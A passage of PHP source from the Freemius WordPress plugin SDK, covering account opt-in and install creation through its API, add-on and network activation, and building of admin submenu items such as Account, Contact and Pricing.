2.5.0.2 * @param number $install_id * @param string $install_public_key * @param string $install_secret_key * @param bool $redirect * @param bool $auto_install Since 1.2.1.7 If `true` and setting up an account with a valid license, will redirect (or return a URL) to the account page with a special parameter to trigger the auto installation processes. * * @return string If redirect is `false`, returns the next page the user should be redirected to. */ private function install_with_new_user( $user_id, $user_public_key, $user_secret_key, $is_marketing_allowed, $is_extensions_tracking_allowed, $is_diagnostic_tracking_allowed, $install_id, $install_public_key, $install_secret_key, $redirect = true, $auto_install = false ) { /** * This method is also executed after opting in with a license key since the * license can be potentially associated with a different owner. * * @since 2.0.0 */ $user = self::_get_user_by_id( $user_id ); if ( ! is_object( $user ) ) { $user = new FS_User(); $user->id = $user_id; $user->public_key = $user_public_key; $user->secret_key = $user_secret_key; $this->_user = $user; $user_result = $this->get_api_user_scope()->get(); $user = new FS_User( $user_result ); } $this->_user = $user; $site = new FS_Site(); $site->id = $install_id; $site->public_key = $install_public_key; $site->secret_key = $install_secret_key; $this->_site = $site; $site_result = $this->get_api_site_scope( true )->get(); $site = new FS_Site( $site_result ); $this->_site = $site; if ( ! is_null( $is_marketing_allowed ) ) { $this->disable_opt_in_notice_and_lock_user(); } FS_Permission_Manager::instance( $this )->update_permissions_tracking_flag( array( FS_Permission_Manager::PERMISSION_DIAGNOSTIC => $is_diagnostic_tracking_allowed, FS_Permission_Manager::PERMISSION_EXTENSIONS => $is_extensions_tracking_allowed, ) ); return $this->setup_account( $this->_user, $this->_site, $redirect, $auto_install ); } /** * Install plugin with user. * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param number $user_id * @param string $user_public_key * @param string $user_secret_key * @param bool|null $is_marketing_allowed * @param bool|null $is_extensions_tracking_allowed Since 2.3.2 * @param bool|null $is_diagnostic_tracking_allowed Since 2.5.0.2 * @param array $site_ids * @param bool $license_key * @param bool $trial_plan_id * @param bool $redirect * * @return void */ private function install_many_pending_with_user( $user_id, $user_public_key, $user_secret_key, $is_marketing_allowed, $is_extensions_tracking_allowed, $is_diagnostic_tracking_allowed, $site_ids, $license_key = false, $trial_plan_id = false, $redirect = true ) { $user = $this->setup_user( $user_id, $user_public_key, $user_secret_key ); if ( ! is_null( $is_marketing_allowed ) ) { $this->disable_opt_in_notice_and_lock_user(); } FS_Permission_Manager::instance( $this )->update_permissions_tracking_flag( array( FS_Permission_Manager::PERMISSION_DIAGNOSTIC => $is_diagnostic_tracking_allowed, FS_Permission_Manager::PERMISSION_EXTENSIONS => $is_extensions_tracking_allowed, ) ); $sites = array(); foreach ( $site_ids as $site_id ) { $sites[] = $this->get_site_info( array( 'blog_id' => $site_id ) ); } $this->install_with_user( $user, $license_key, $trial_plan_id, $redirect, true, $sites ); } /** * Multi-site install with a new user. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $user_id * @param string $user_public_key * @param string $user_secret_key * @param bool|null $is_marketing_allowed * @param bool|null $is_extensions_tracking_allowed Since 2.3.2 * @param bool|null $is_diagnostic_tracking_allowed Since 2.5.0.2 * @param object[] $installs * @param bool $redirect * @param bool $auto_install Since 1.2.1.7 If `true` and setting up an account with a valid license, will redirect (or return a URL) to the account page with a special parameter to trigger the auto installation processes. * * @return string If redirect is `false`, returns the next page the user should be redirected to. */ private function install_many_with_new_user( $user_id, $user_public_key, $user_secret_key, $is_marketing_allowed, $is_extensions_tracking_allowed, $is_diagnostic_tracking_allowed, array $installs, $redirect = true, $auto_install = false ) { $this->setup_user( $user_id, $user_public_key, $user_secret_key ); if ( ! is_null( $is_marketing_allowed ) ) { $this->disable_opt_in_notice_and_lock_user(); } FS_Permission_Manager::instance( $this )->update_permissions_tracking_flag( array( FS_Permission_Manager::PERMISSION_DIAGNOSTIC => $is_diagnostic_tracking_allowed, FS_Permission_Manager::PERMISSION_EXTENSIONS => $is_extensions_tracking_allowed, ) ); $install_ids = array(); foreach ( $installs as $install ) { $install_ids[] = $install->id; } $items_per_request = 25; $left = count( $install_ids ); $offset = 0; $installs = array(); while ( $left > 0 ) { $result = $this->get_api_user_scope()->get( "/plugins/{$this->_module_id}/installs.json?ids=" . implode( ',', array_slice( $install_ids, $offset, $items_per_request ) ) ); if ( ! $this->is_api_result_object( $result, 'installs' ) ) { // @todo Handle API error. } $installs = array_merge( $installs, $result->installs ); $left -= $items_per_request; $offset += $items_per_request; } foreach ( $installs as &$install ) { $install = new FS_Site( $install ); } return $this->setup_network_account( $this->_user, $installs, $redirect, $auto_install ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @param string|bool $email * @param bool $redirect * @param string|bool $license_key Since 1.2.1.5 * @param bool $is_pending_trial Since 1.2.1.5 * @param bool $is_suspicious_email Since 2.5.0 * @param bool $has_upgrade_context Since 2.5.3 * @param bool|string $support_email_address Since 2.5.3 * * @return string Since 1.2.1.5 if $redirect is `false`, return the pending activation page. */ private function set_pending_confirmation( $email = false, $redirect = true, $license_key = false, $is_pending_trial = false, $is_suspicious_email = false, $has_upgrade_context = false, $support_email_address = false ) { $is_network_admin = fs_is_network_admin(); if ( $this->_ignore_pending_mode && ! $has_upgrade_context ) { /** * If explicitly asked to ignore pending mode, set to anonymous mode * if require confirmation before finalizing the opt-in except after completing a purchase (otherwise, in this case, they wouldn't see any notice telling them that they should receive their license key via email). * * @author Vova Feldman * @since 1.2.1.6 */ $this->skip_connection( $is_network_admin ); } else { // Install must be activated via email since // user with the same email already exist. $this->_storage->is_pending_activation = true; $this->_add_pending_activation_notice( $email, $is_pending_trial, $is_suspicious_email, $has_upgrade_context, $support_email_address ); } if ( ! empty( $license_key ) ) { $this->_storage->pending_license_key = $license_key; } // Remove the opt-in sticky notice. $this->_admin_notices->remove_sticky( array( 'connect_account', 'trial_promotion', ) ); $next_page = $this->get_after_activation_url( 'after_pending_connect_url' ); if ( $redirect ) { // Reload the page with a pending activation message. fs_redirect( $next_page ); } return $next_page; } /** * Install plugin with current logged WP user info. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ function _install_with_current_user() { $this->_logger->entrance(); if ( $this->is_registered() ) { return; } if ( fs_request_is_action( $this->get_unique_affix() . '_activate_existing' ) && fs_request_is_post() ) { check_admin_referer( $this->get_unique_affix() . '_activate_existing' ); /** * @author Vova Feldman (@svovaf) * @since 1.1.9 Add license key if given. */ $license_key = fs_request_get_raw( 'license_secret_key' ); FS_Permission_Manager::instance( $this )->update_permissions_tracking_flag( array( FS_Permission_Manager::PERMISSION_DIAGNOSTIC => fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ), FS_Permission_Manager::PERMISSION_EXTENSIONS => fs_request_get_bool( 'is_extensions_tracking_allowed', null ), ) ); $this->install_with_current_user( $license_key ); } } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @param string|bool $license_key * @param number|bool $trial_plan_id * @param array $sites Since 2.0.0 * @param bool $redirect * * @return object|string If redirect is `false`, returns the next page the user should be redirected to, or the API error object if failed to install. */ function install_with_current_user( $license_key = false, $trial_plan_id = false, $sites = array(), $redirect = true ) { // Get current logged WP user. $current_user = self::_get_current_wp_user(); // Find the relevant FS user by the email. $user = self::_get_user_by_email( $current_user->user_email ); return $this->install_with_user( $user, $license_key, $trial_plan_id, $redirect, true, $sites ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_User $user * @param string|bool $license_key * @param number|bool $trial_plan_id * @param bool $redirect * @param bool $setup_account Since 2.0.0. When set to FALSE, executes a light installation without setting up the account as if it's the first opt-in. * @param array $sites Since 2.0.0. If not empty, should be a collection of site details for the bulk install API request. * * @return \FS_Site|object|string If redirect is `false`, returns the next page the user should be redirected to, or the API error object if failed to install. If $setup_account is set to `false`, return the newly created install. */ function install_with_user( FS_User $user, $license_key = false, $trial_plan_id = false, $redirect = true, $setup_account = true, $sites = array() ) { // We have to set the user before getting user scope API handler. $this->_user = $user; // Install the plugin. $result = $this->create_installs_with_user( $user, $license_key, $trial_plan_id, $sites, $redirect ); if ( ! $this->is_api_result_entity( $result ) && ! $this->is_api_result_object( $result, 'installs' ) ) { // @todo Handler potential API error of the $result } if ( empty( $sites ) ) { $site = new FS_Site( $result ); $this->_site = $site; if ( ! $setup_account ) { $this->_store_site(); $this->sync_plan_if_not_exist( $site->plan_id ); if ( ! empty( $license_key ) && FS_Plugin_License::is_valid_id( $site->license_id ) ) { $this->sync_license_if_not_exist( $site->license_id, $license_key ); } $this->_admin_notices->remove_sticky( 'connect_account', false ); return $site; } return $this->setup_account( $this->_user, $this->_site, $redirect ); } else { $installs = array(); foreach ( $result->installs as $install ) { $installs[] = new FS_Site( $install ); } return $this->setup_network_account( $user, $installs, $redirect ); } } /** * Initiate an API request to create a collection of installs. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_User $user * @param bool $license_key * @param bool $trial_plan_id * @param array $sites * @param bool $redirect * @param bool $silent * * @return object|mixed */ private function create_installs_with_user( FS_User $user, $license_key = false, $trial_plan_id = false, $sites = array(), $redirect = false, $silent = false ) { $extra_install_params = array( 'uid' => $this->get_anonymous_id(), 'is_disconnected' => false, ); if ( ! empty( $license_key ) ) { $extra_install_params['license_key'] = $this->apply_filters( 'license_key', $license_key ); if ( $silent ) { $extra_install_params['ignore_license_owner'] = true; } } else if ( FS_Plugin_Plan::is_valid_id( $trial_plan_id ) ) { $extra_install_params['trial_plan_id'] = $trial_plan_id; } if ( ! empty( $sites ) ) { $extra_install_params['sites'] = $sites; } $args = $this->get_install_data_for_api( $extra_install_params, false, false ); // Install the plugin. $result = $this->get_api_user_scope_by_user( $user )->call( "/plugins/{$this->get_id()}/installs.json", 'post', $args ); if ( ! $this->is_api_result_entity( $result ) && ! $this->is_api_result_object( $result, 'installs' ) ) { if ( ! empty( $args['license_key'] ) ) { // Pass the fully entered license key to the failure handler. $args['license_key'] = $license_key; } $result = $this->apply_filters( 'after_install_failure', $result, $args ); if ( ! $silent ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Couldn\'t activate %s.', 'could-not-activate-x' ), $this->get_plugin_name() ) . ' ' . $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '' . $result->error->message . '', $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...', 'error' ); } if ( $redirect ) { /** * We set the user before getting the user scope API handler, so the user became temporarily * registered (`is_registered() = true`). Since the API returned an error and we will redirect, * we have to set the user to `null`, otherwise, the user will be redirected to the wrong * activation page based on the return value of `is_registered()`. In addition, in case the * context plugin doesn't have a settings menu and the default page is the `Plugins` page, * misleading plugin activation errors will be shown on the `Plugins` page. * * @author Leo Fajardo (@leorw) */ $this->_user = null; fs_redirect( $this->get_activation_url( array( 'error' => $result->error->message ) ) ); } } return $result; } /** * Tries to activate add-on account based on parent plugin info. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param Freemius $parent_fs * @param bool|int|null $network_level_or_blog_id True for network level opt-in and integer for opt-in for specified blog in the network. * @param FS_Plugin_License $bundle_license Since 2.4.0. If provided, this license will be activated for the add-on. */ private function _activate_addon_account( Freemius $parent_fs, $network_level_or_blog_id = null, FS_Plugin_License $bundle_license = null ) { if ( $this->is_registered() ) { // Already activated. return; } $permission_ids = FS_Permission_Manager::get_all_permission_ids(); $permissions = array(); foreach ( $permission_ids as $permission_id ) { $permissions[ $permission_id ] = FS_Permission_Manager::instance( $parent_fs )->is_permission( $permission_id, true ); } FS_Permission_Manager::instance( $this )->update_permissions_tracking_flag( $permissions ); /** * Do not override the `uid` if network-level opt-in since the call to `get_sites_for_network_level_optin()` * already returns the data for the current blog. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $uid_param_to_override = ( true === $network_level_or_blog_id ) ? array() : array( 'uid' => $this->get_anonymous_id() ); $params = $this->get_install_data_for_api( $uid_param_to_override, false, false, /** * Do not include the data for the current blog if network-level opt-in since the call to `get_sites_for_network_level_optin` * already includes the data for it. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ ( true !== $network_level_or_blog_id ) ); if ( true === $network_level_or_blog_id ) { $params['sites'] = $this->get_sites_for_network_level_optin(); if ( empty( $params['sites'] ) ) { return; } } if ( is_object( $bundle_license ) ) { $params['license_key'] = $bundle_license->secret_key; } // Activate add-on with parent plugin credentials. $result = $parent_fs->get_api_site_scope()->call( "/addons/{$this->_plugin->id}/installs.json", 'post', $params ); if ( ! $this->is_api_result_object( $result, 'installs' ) ) { if ( is_object( $bundle_license ) ) { /** * When a license object is provided, it's an attempt by the SDK to activate a bundle license and not a user-initiated action, therefore, do not show any admin notice to avoid confusion (e.g.: the notice will show up just above the opt-in link). If the license activation fails, the admin will see an opt-in link instead. * * @author Leo Fajardo (@leorw) * @since 2.4.0 */ } else { $error_message = FS_Api::is_api_error_object( $result ) ? $result->error->message : $this->get_text_inline( 'An unknown error has occurred.', 'unknown-error' ); $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Couldn\'t activate %s.', 'could-not-activate-x' ), $this->get_plugin_name() ) . ' ' . $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '' . $error_message . '', $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...', 'error' ); } return; } $addon_installs = $result->installs; foreach ( $addon_installs as $key => $addon_install ) { $addon_installs[ $key ] = new FS_Site( $addon_install ); } $first_install = $addon_installs[0]; // Get user information based on parent's plugin. $user = $parent_fs->get_user(); // First of all, set site and user info - otherwise we won't // be able to invoke API calls. $this->_site = $first_install; $this->_user = $user; // Sync add-on plans. $this->_sync_plans(); $this->handle_account_connection( $addon_installs, ! fs_is_network_admin() ); // Get site's current plan. //$this->_site->plan = $this->_get_plan_by_id( $this->_site->plan->id ); // Sync licenses. $this->_sync_licenses(); if ( ! fs_is_network_admin() ) { // Try to activate premium license. $this->_activate_license( true, $bundle_license ); if ( is_object( $bundle_license ) ) { $this->maybe_activate_bundle_license( $bundle_license ); } } else { if ( is_object( $bundle_license ) ) { $premium_license = $bundle_license; } else { $license_id = fs_request_get( 'license_id' ); if ( is_object( $this->_site ) && FS_Plugin_License::is_valid_id( $license_id ) && $license_id == $this->_site->license_id ) { // License is already activated. return; } $premium_license = FS_Plugin_License::is_valid_id( $license_id ) ? $this->_get_license_by_id( $license_id ) : $this->_get_available_premium_license(); } if ( is_object( $premium_license ) ) { $this->maybe_network_activate_addon_license( $premium_license ); } } } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param FS_Site[] $installs * @param bool $is_site_level */ private function handle_account_connection( $installs, $is_site_level ) { $first_install = $installs[0]; if ( $is_site_level ) { $this->_set_account( $this->_user, $first_install ); $this->do_action( 'after_account_connection', $this->_user, $first_install ); } else { $this->_store_user(); // Map site addresses to their blog IDs. $address_to_blog_map = $this->get_address_to_blog_map(); $first_blog_id = null; $blog_2_install_map = array(); foreach ( $installs as $install ) { $address = trailingslashit( fs_strip_url_protocol( $install->url ) ); $blog_id = $address_to_blog_map[ $address ]; $this->_store_site( true, $blog_id, $install ); if ( is_null( $first_blog_id ) ) { $first_blog_id = $blog_id; } $blog_2_install_map[ $blog_id ] = $install; } if ( ! FS_User::is_valid_id( $this->_storage->network_user_id ) || ! is_object( self::_get_user_by_id( $this->_storage->network_user_id ) ) ) { // Store network user. $this->_storage->network_user_id = $this->_user->id; } if ( ! FS_Site::is_valid_id( $this->_storage->network_install_blog_id ) ) { $this->_storage->network_install_blog_id = $first_blog_id; } if ( count( $installs ) === count( $address_to_blog_map ) ) { // Super admin opted in for all sites in the network. $this->_storage->is_network_connected = true; } $this->_store_licenses( false ); self::$_accounts->store(); // Don't sync the installs data on network upgrade if ( ! $this->network_upgrade_mode_completed() ) { $this->send_installs_update(); } $current_blog = get_current_blog_id(); foreach ( $blog_2_install_map as $blog_id => $install ) { $this->switch_to_blog( $blog_id ); $this->do_action( 'after_account_connection', $this->_user, $install ); } // Switch install context back to the first install. $this->switch_to_blog( $current_blog, $first_install, ( $this->_site->id != $first_install->id ) ); $this->do_action( 'after_network_account_connection', $this->_user, $blog_2_install_map ); } } /** * Tries to activate parent account based on add-on's info. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param Freemius $parent_fs */ private function activate_parent_account( Freemius $parent_fs ) { if ( ! $this->is_addon() ) { // This is not an add-on. return; } if ( $parent_fs->is_registered() ) { // Already activated. return; } // Activate parent with add-on's user credentials. $parent_install = $this->get_api_user_scope()->call( "/plugins/{$parent_fs->_plugin->id}/installs.json", 'post', $parent_fs->get_install_data_for_api( array( 'uid' => $parent_fs->get_anonymous_id(), ), false, false ) ); if ( isset( $parent_install->error ) ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Couldn\'t activate %s.', 'could-not-activate-x' ), $this->get_plugin_name() ) . ' ' . $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '' . $parent_install->error->message . '', $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...', 'error' ); return; } $parent_fs->_admin_notices->remove_sticky( 'connect_account' ); if ( $parent_fs->is_pending_activation() ) { $parent_fs->clear_pending_activation_mode(); } // Get user information based on parent's plugin. $user = $this->get_user(); // First of all, set site info - otherwise we won't // be able to invoke API calls. $parent_fs->_site = new FS_Site( $parent_install ); $parent_fs->_user = $user; // Sync add-on plans. $parent_fs->_sync_plans(); $parent_fs->update_license_required_permissions_if_anonymous(); $parent_fs->_set_account( $user, $parent_fs->_site ); } #endregion #---------------------------------------------------------------------------------- #region Admin Menu Items #---------------------------------------------------------------------------------- private $_menu_items = array(); /** * @author Vova Feldman (@svovaf) * @since 1.2.1.8 * * @return array */ function get_menu_items() { return $this->_menu_items; } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return string */ function get_menu_slug() { return $this->_menu->get_slug(); } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 */ function _prepare_admin_menu() { // if ( ! $this->is_on() ) { // return; // } if ( is_object( $this->_site ) && ! $this->is_registered() ) { return; } /** * When running from a site admin with a network activated module and the connection * was NOT delegated and the user still haven't skipped or opted-in, then hide the * site level settings. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ $should_hide_site_admin_settings = ( $this->_is_network_active && ! fs_is_network_admin() && ! $this->is_delegated_connection() && ! $this->is_anonymous() && ! $this->is_registered() ); $should_hide_site_admin_settings = $this->apply_filters( 'should_hide_site_admin_settings_on_network_activation_mode', $should_hide_site_admin_settings ); if ( ( false === $this->has_api_connectivity() && ! $this->is_enable_anonymous() ) || $should_hide_site_admin_settings ) { $this->_menu->remove_menu_item( $should_hide_site_admin_settings ); } else { $this->do_action( fs_is_network_admin() ? 'before_network_admin_menu_init' : 'before_admin_menu_init' ); $this->add_menu_action(); $this->add_network_menu_when_missing(); $this->add_submenu_items(); } } /** * Admin dashboard menu items modifications. * * NOTE: admin_menu action executed before admin_init. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * */ private function add_menu_action() { if ( $this->is_activation_mode() ) { if ( $this->show_opt_in_on_setting_page() ) { $this->override_plugin_menu_with_activation(); } else { /** * Handle theme opt-in when the opt-in form shows as a dialog box in the themes page. */ if ( fs_request_is_action( $this->get_unique_affix() . '_activate_existing' ) ) { add_action( 'load-themes.php', array( &$this, '_install_with_current_user' ) ); } else if ( fs_request_is_action( $this->get_unique_affix() . '_activate_new' ) || fs_request_get_bool( 'pending_activation' ) ) { add_action( 'load-themes.php', array( &$this, '_install_with_new_user' ) ); } } } else { if ( ! $this->is_registered() ) { // If not registered try to install user. if ( fs_request_is_action( $this->get_unique_affix() . '_activate_new' ) ) { $this->_install_with_new_user(); } } else if ( fs_request_is_action( 'sync_user' ) && ( ! $this->has_settings_menu() || $this->show_opt_in_on_themes_page() ) ) { $this->_handle_account_user_sync(); } } } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 */ function _redirect_on_clicked_menu_link() { $this->_logger->entrance(); $page = fs_request_get('page'); $page = is_string($page) ? strtolower($page) : ''; $this->_logger->log( 'page = ' . $page ); foreach ( $this->_menu_items as $priority => $items ) { foreach ( $items as $item ) { if ( isset( $item['url'] ) ) { if ( $page === $this->_menu->get_slug( strtolower( $item['menu_slug'] ) ) ) { $this->_logger->log( 'Redirecting to ' . $item['url'] ); fs_redirect( $item['url'] ); } } } } } /** * Remove plugin's all admin menu items & pages, and replace with activation page. * * @author Vova Feldman (@svovaf) * @since 1.0.1 */ private function override_plugin_menu_with_activation() { $this->_logger->entrance(); $hook = false; if ( ! $this->has_settings_menu() ) { // Add the opt-in page without a menu item. $hook = FS_Admin_Menu_Manager::add_subpage( '', $this->get_plugin_name(), $this->get_plugin_name(), 'manage_options', $this->_slug, array( &$this, '_connect_page_render' ) ); } else if ( $this->_menu->is_top_level() ) { if ( $this->_menu->is_override_exact() ) { // Make sure the current page is matching the activation page. if ( ! $this->is_matching_url( $this->get_activation_url() ) ) { return; } } $hook = $this->_menu->override_menu_item( array( &$this, '_connect_page_render' ) ); if ( false === $hook ) { // Create new menu item just for the opt-in. $hook = FS_Admin_Menu_Manager::add_page( $this->get_plugin_name(), $this->get_plugin_name(), 'manage_options', $this->_menu->get_slug(), array( &$this, '_connect_page_render' ) ); } } else { $menus = array( $this->_menu->get_parent_slug() ); if ( $this->_menu->is_override_exact() ) { // Make sure the current page is matching the activation page. if ( ! $this->is_matching_url( $this->get_activation_url() ) ) { return; } } foreach ( $menus as $parent_slug ) { $hook = $this->_menu->override_submenu_action( $parent_slug, $this->_menu->get_raw_slug(), array( &$this, '_connect_page_render' ) ); if ( false !== $hook ) { // Found plugin's submenu item. break; } } } if ( $this->is_activation_page() ) { // Clean admin page from distracting content. self::_clean_admin_content_section(); } if ( false !== $hook ) { if ( fs_request_is_action( $this->get_unique_affix() . '_activate_existing' ) ) { $this->_install_with_current_user(); } else if ( fs_request_is_action( $this->get_unique_affix() . '_activate_new' ) ) { $this->_install_with_new_user(); } } } /** * If a plugin was network activated and connected but don't have a network * level settings, then add an artificial menu item for the Account and other * Freemius settings. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ private function add_network_menu_when_missing() { $this->_logger->entrance(); if ( ! $this->_is_network_active ) { // Plugin wasn't activated on the network level. return; } if ( ! fs_is_network_admin() ) { // The context is not the network admin. return; } if ( $this->_menu->has_network_menu() ) { // Plugin already has a network level menu. return; } if ( $this->is_network_activation_mode() ) { /** * Do not add during activation mode, otherwise, there will be duplicate menus while the opt-in * screen is being shown. * * @author Leo Fajardo (@leorw) */ return; } if ( ! WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED ) { if ( $this->is_network_delegated_connection() ) { // Super-admin delegated the connection to the site admins. return; } } if ( ! $this->_menu->has_menu() || $this->_menu->is_top_level() ) { if ( $this->_menu->has_menu() || ! $this->is_addon() || $this->is_activation_mode() ) { $this->_dynamically_added_top_level_page_hook_name = $this->_menu->add_page_and_update( $this->get_plugin_name(), $this->get_plugin_name(), 'manage_options', $this->_menu->has_menu() ? $this->_menu->get_slug() : $this->_slug ); } } else { $this->_menu->add_subpage_and_update( $this->_menu->get_parent_slug(), $this->get_plugin_name(), $this->get_plugin_name(), 'manage_options', $this->_menu->get_slug() ); } } /** * @author Leo Fajardo (@leorw) * @since 1.2.1 * * return string */ function get_top_level_menu_capability() { global $menu; $top_level_menu_slug = $this->get_top_level_menu_slug(); foreach ( $menu as $menu_info ) { /** * The second element in the menu info array is the capability/role that has access to the menu and the * third element is the menu slug. */ if ( $menu_info[2] === $top_level_menu_slug ) { return $menu_info[1]; } } return 'read'; } /** * @author Vova Feldman (@svovaf) * @since 1.0.0 * * @return string */ private function get_top_level_menu_slug() { return ( $this->is_addon() ? $this->get_parent_instance()->_menu->get_top_level_menu_slug() : $this->_menu->get_top_level_menu_slug() ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return string */ function get_pricing_cta_label() { $label = $this->get_text_inline( 'Upgrade', 'upgrade' ); if ( $this->is_in_trial_promotion() && ! $this->is_paying_or_trial() ) { // If running a trial promotion, modify the pricing to load the trial. $label = $this->get_text_inline( 'Start Trial', 'start-trial' ); } else if ( $this->is_paying() ) { $label = $this->get_text_inline( 'Pricing', 'pricing' ); } return $label; } /** * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool */ function is_pricing_page_visible() { return ( // Has at least one paid plan. $this->has_paid_plan() && // Didn't ask to hide the pricing page. $this->is_page_visible( 'pricing' ) && // Don't have a valid active license or has more than one plan. ( ! $this->is_paying() || ! $this->is_single_plan( true ) ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param bool $is_activation_mode * * @return bool */ private function should_add_submenu_or_action_links( $is_activation_mode ) { if ( $this->is_addon() ) { // No submenu items or action links for add-ons. return false; } if ( $this->show_opt_in_on_themes_page() ) { if ( ! fs_is_network_admin() ) { // Also add action links or submenu items when running in a free .org theme so the tabs will be visible. return true; } } else if ( $is_activation_mode ) { // Don't show submenu-items/tabs in activation mode, unless it's a wp.org theme. return false; } if ( fs_is_network_admin() ) { /** * Add submenu items or action links to network level when plugin was network activated and the super * admin did NOT delegate the connection of all sites to site admins. */ return ( $this->_is_network_active && ( WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED || ! $this->is_network_delegated_connection() ) ); } return ( ! $this->_is_network_active || $this->is_delegated_connection() ); } /** * Add default Freemius menu items. * * @author Vova Feldman (@svovaf) * @since 1.0.0 * @since 1.2.2.7 Also add submenu items when running in a free .org theme so the tabs will be visible. */ private function add_submenu_items() { $this->_logger->entrance(); $is_activation_mode = $this->is_activation_mode(); $add_submenu_items = $this->should_add_submenu_or_action_links( $is_activation_mode ); if ( $add_submenu_items ) { if ( $this->has_affiliate_program() ) { // Add affiliation page. $this->add_submenu_item( $this->get_text_inline( 'Affiliation', 'affiliation' ), array( &$this, '_affiliation_page_render' ), $this->get_plugin_name() . ' – ' . $this->get_text_inline( 'Affiliation', 'affiliation' ), 'manage_options', 'affiliation', 'Freemius::_clean_admin_content_section', WP_FS__DEFAULT_PRIORITY, $this->is_submenu_item_visible( 'affiliation' ) ); } } if ( $add_submenu_items || ( $is_activation_mode && $this->is_only_premium() && $this->is_admin_page( 'account' ) && fs_request_is_action( $this->get_unique_affix() . '_sync_license' ) ) ) { if ( ! WP_FS__DEMO_MODE && $this->is_registered() ) { $show_account = ( $this->is_submenu_item_visible( 'account' ) && /** * @since 1.2.2.7 Don't show the Account for free WP.org themes without any paid plans. */ ( ! $this->is_free_wp_org_theme() || $this->has_paid_plan() ) ); // Add user account page. $this->add_submenu_item( $this->get_text_inline( 'Account', 'account' ), array( &$this, '_account_page_render' ), $this->get_plugin_name() . ' – ' . $this->get_text_inline( 'Account', 'account' ), 'manage_options', 'account', array( &$this, '_account_page_load' ), WP_FS__DEFAULT_PRIORITY, ( $add_submenu_items && $show_account ) ); } } if ( $add_submenu_items ) { if (! WP_FS__DEMO_MODE && ! $this->is_whitelabeled() ) { // Add contact page. $this->add_submenu_item( $this->get_text_inline( 'Contact Us', 'contact-us' ), array( &$this, '_contact_page_render' ), $this->get_plugin_name() . ' – ' . $this->get_text_inline( 'Contact Us', 'contact-us' ), 'manage_options', 'contact', 'Freemius::_clean_admin_content_section', WP_FS__DEFAULT_PRIORITY, $this->is_submenu_item_visible( 'contact' ) ); } if ( $this->has_addons() ) { $this->add_submenu_item( $this->get_text_inline( 'Add-Ons', 'add-ons' ), array( &$this, '_addons_page_render' ), $this->get_plugin_name() . ' – ' . $this->get_text_inline( 'Add-Ons', 'add-ons' ), 'manage_options', 'addons', array( &$this, '_addons_page_load' ), WP_FS__LOWEST_PRIORITY - 1, $this->is_submenu_item_visible( 'addons' ) ); } } if ( $add_submenu_items || ( $is_activation_mode && $this->is_only_premium() && $this->is_admin_page( 'pricing' ) ) ) { if (! WP_FS__DEMO_MODE && ! $this->is_whitelabeled() ) { $show_pricing = ( $this->is_submenu_item_visible( 'pricing' ) && $this->is_pricing_page_visible() ); $pricing_cta_text = $this->get_pricing_cta_label(); $pricing_class = 'upgrade-mode'; if ( $show_pricing ) { if ( $this->is_in_trial_promotion() && ! $this->is_paying_or_trial() ) { // If running a trial promotion, modify the pricing to load the trial. $pricing_class = 'trial-mode'; } else if ( $this->is_paying() ) { $pricing_class = ''; } } // Add upgrade/pricing page. $this->add_submenu_item( $pricing_cta_text . '  ' . ( is_rtl() ? $this->get_text_x_inline( '←', 'ASCII arrow left icon', 'symbol_arrow-left' ) : $this->get_text_x_inline( '➤', 'ASCII arrow right icon', 'symbol_arrow-right' ) ), array( &$this, '_pricing_page_render' ), $this->get_plugin_name() . ' – ' . $this->get_text_x_inline( 'Pricing', 'noun', 'pricing' ), 'manage_options', 'pricing', 'Freemius::_clean_admin_content_section', WP_FS__LOWEST_PRIORITY, ( $add_submenu_items && $show_pricing ), $pricing_class ); } } if ( ! $is_activation_mode || ( true !== $this->_storage->require_license_activation ) ) { /** * Add the other menu items if there are any when not in activation mode or license activation is not * required (license activation is required for registered or anonymous users after activating the * premium version when the site is not in trial mode or there's no active valid license). * * @author Leo Fajardo (@leorw) * @since 2.2.1 */ if ( 0 < count( $this->_menu_items ) ) { if ( ! $this->_menu->is_top_level() ) { fs_enqueue_local_style( 'fs_common', '/admin/common.css' ); // Append submenu items right after the plugin's submenu item. $this->order_sub_submenu_items(); } else { // Append submenu items. $this->embed_submenu_items(); } } } } /** * Moved the actual submenu item additions to a separated function, * in order to support sub-submenu items when the plugin's settings * only have a submenu and not top-level menu item. * * @author Vova Feldman (@svovaf) * @since 1.1.4 */ private function embed_submenu_items() { $item_template = $this->_menu->is_top_level() ? '%s' : '%s'; $top_level_menu_capability = $this->get_top_level_menu_capability(); ksort( $this->_menu_items ); $is_first_submenu_item = true; foreach ( $this->_menu_items as $priority => $items ) { foreach ( $items as $item ) { 